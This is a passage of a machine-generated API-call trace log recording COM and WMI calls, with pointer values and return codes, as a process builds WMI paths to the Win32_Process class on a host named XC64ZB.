[6]=0x0, [7]=0x46)), ppv=0x1b10ccc8 | out: ppv=0x1b10ccc8*=0x1b449760) returned 0x0 [0133.738] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b449760, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cdb0 | out: ppvObject=0x1b10cdb0*=0x0) returned 0x80004002 [0133.738] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b449760, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd88 | out: ppvObject=0x1b10cd88*=0x351440) returned 0x0 [0133.738] WbemDefPath:IUnknown:Release (This=0x1b449760) returned 0x0 [0133.739] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb30 | out: ppvObject=0x1b10cb30*=0x351440) returned 0x0 [0133.739] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbc0 | out: ppvObject=0x1b10cbc0*=0x0) returned 0x80004002 [0133.739] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3b8 | out: ppvObject=0x1b10c3b8*=0x0) returned 0x80004002 [0133.739] WbemDefPath:IUnknown:AddRef (This=0x351440) returned 0x3 [0133.739] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c278 | out: ppvObject=0x1b10c278*=0x0) returned 0x80004002 [0133.739] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c200 | out: ppvObject=0x1b10c200*=0x0) returned 0x80004002 [0133.739] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x1b449de0) returned 0x0 [0133.739] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b449de0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c218 | out: pCid=0x1b10c218*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.739] WbemDefPath:IUnknown:Release (This=0x1b449de0) returned 0x3 [0133.739] CoGetContextToken (in: pToken=0x1b10c2a0 | out: pToken=0x1b10c2a0) returned 0x0 [0133.739] CoGetContextToken (in: pToken=0x1b10c720 | out: pToken=0x1b10c720) returned 0x0 [0133.739] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7e0 | out: ppvObject=0x1b10c7e0*=0x0) returned 0x80004002 [0133.739] WbemDefPath:IUnknown:Release (This=0x351440) returned 0x2 [0133.739] WbemDefPath:IUnknown:Release (This=0x351440) returned 0x1 [0133.739] CoGetContextToken (in: pToken=0x1b10d510 | out: pToken=0x1b10d510) returned 0x0 [0133.739] CoGetContextToken (in: pToken=0x1b10d410 | out: pToken=0x1b10d410) returned 0x0 [0133.739] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x1b10d570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d540 | out: ppvObject=0x1b10d540*=0x351440) returned 0x0 [0133.740] WbemDefPath:IUnknown:AddRef (This=0x351440) returned 0x3 [0133.740] WbemDefPath:IUnknown:Release (This=0x351440) returned 0x2 [0133.740] WbemDefPath:IWbemPath:SetText (This=0x351440, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0133.740] IWbemClassObject:Get (in: This=0x1b441b80, wszName="__SERVER", lFlags=0, pVal=0x1b10d980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10dac0*=0, plFlavor=0x1b10dab8*=0 | out: pVal=0x1b10d980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64) returned 0x0 [0133.740] SysStringByteLen (bstr="XC64ZB") returned 0xc [0133.740] SysStringByteLen (bstr="XC64ZB") returned 0xc [0133.740] IWbemClassObject:Get (in: This=0x1b441b80, wszName="__NAMESPACE", lFlags=0, pVal=0x1b10d980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64 | out: pVal=0x1b10d980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64) returned 0x0 [0133.740] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0133.740] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0133.740] IWbemClassObject:Get (in: This=0x1b441b80, wszName="__CLASS", lFlags=0, pVal=0x1b10d980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64 | out: pVal=0x1b10d980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64) returned 0x0 [0133.740] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0133.740] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0133.740] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0133.740] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0133.741] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0133.741] IUnknown:Release (This=0x3111d8) returned 0x1 [0133.741] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x1b449d60) returned 0x0 [0133.741] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b449d60, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0133.741] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b449d60, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x351140) returned 0x0 [0133.741] WbemDefPath:IUnknown:Release (This=0x1b449d60) returned 0x0 [0133.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x351140) returned 0x0 [0133.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0133.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0133.742] WbemDefPath:IUnknown:AddRef (This=0x351140) returned 0x3 [0133.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0133.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0133.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x1b44a400) returned 0x0 [0133.742] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b44a400, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.742] WbemDefPath:IUnknown:Release (This=0x1b44a400) returned 0x3 [0133.742] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0133.742] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0133.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0133.742] WbemDefPath:IUnknown:Release (This=0x351140) returned 0x2 [0133.742] WbemDefPath:IUnknown:Release (This=0x351140) returned 0x1 [0133.742] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0133.742] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0133.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x351140) returned 0x0 [0133.742] WbemDefPath:IUnknown:AddRef (This=0x351140) returned 0x3 [0133.742] WbemDefPath:IUnknown:Release (This=0x351140) returned 0x2 [0133.742] WbemDefPath:IWbemPath:SetText (This=0x351140, uMode=0x4, pszPath="") returned 0x0 [0133.743] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0133.743] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0133.743] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0133.743] IUnknown:Release (This=0x3111d8) returned 0x1 [0133.743] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x1b449d60) returned 0x0 [0133.743] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b449d60, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0133.743] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b449d60, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x351500) returned 0x0 [0133.744] WbemDefPath:IUnknown:Release (This=0x1b449d60) returned 0x0 [0133.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x351500, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x351500) returned 0x0 [0133.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x351500, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0133.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x351500, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0133.744] WbemDefPath:IUnknown:AddRef (This=0x351500) returned 0x3 [0133.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x351500, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0133.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x351500, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0133.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x351500, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x1b449ec0) returned 0x0 [0133.744] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b449ec0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.744] WbemDefPath:IUnknown:Release (This=0x1b449ec0) returned 0x3 [0133.745] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0133.745] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0133.745] WbemDefPath:IUnknown:QueryInterface (in: This=0x351500, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0133.745] WbemDefPath:IUnknown:Release (This=0x351500) returned 0x2 [0133.745] WbemDefPath:IUnknown:Release (This=0x351500) returned 0x1 [0133.745] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0133.745] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0133.745] WbemDefPath:IUnknown:QueryInterface (in: This=0x351500, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x351500) returned 0x0 [0133.745] WbemDefPath:IUnknown:AddRef (This=0x351500) returned 0x3 [0133.745] WbemDefPath:IUnknown:Release (This=0x351500) returned 0x2 [0133.746] WbemDefPath:IWbemPath:SetText (This=0x351500, uMode=0x4, pszPath="") returned 0x0 [0133.746] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351500, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0133.746] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351140, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0133.746] WbemDefPath:IWbemPath:GetClassName (in: This=0x351500, puBuffLength=0x1b10da08*=0x0, pszName=0x0 | out: puBuffLength=0x1b10da08*=0x0, pszName=0x0) returned 0x8004103a [0133.746] WbemDefPath:IWbemPath:GetServer (in: This=0x351500, puNameBufLength=0x1b10da10*=0x0, pName=0x0 | out: puNameBufLength=0x1b10da10*=0x0, pName=0x0) returned 0x80041009 [0133.746] WbemDefPath:IWbemPath:SetServer (This=0x351500, Name="XC64ZB") returned 0x0 [0133.746] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0133.746] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0133.746] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0133.746] IUnknown:Release (This=0x3111d8) returned 0x1 [0133.747] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x1b44a240) returned 0x0 [0133.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b44a240, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0133.747] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b44a240, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x3521c0) returned 0x0 [0133.747] WbemDefPath:IUnknown:Release (This=0x1b44a240) returned 0x0 [0133.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x3521c0) returned 0x0 [0133.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0133.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0133.747] WbemDefPath:IUnknown:AddRef (This=0x3521c0) returned 0x3 [0133.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0133.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0133.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x1b44a360) returned 0x0 [0133.747] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b44a360, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.747] WbemDefPath:IUnknown:Release (This=0x1b44a360) returned 0x3 [0133.747] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0133.747] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0133.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0133.748] WbemDefPath:IUnknown:Release (This=0x3521c0) returned 0x2 [0133.748] WbemDefPath:IUnknown:Release (This=0x3521c0) returned 0x1 [0133.748] CoGetContextToken (in: 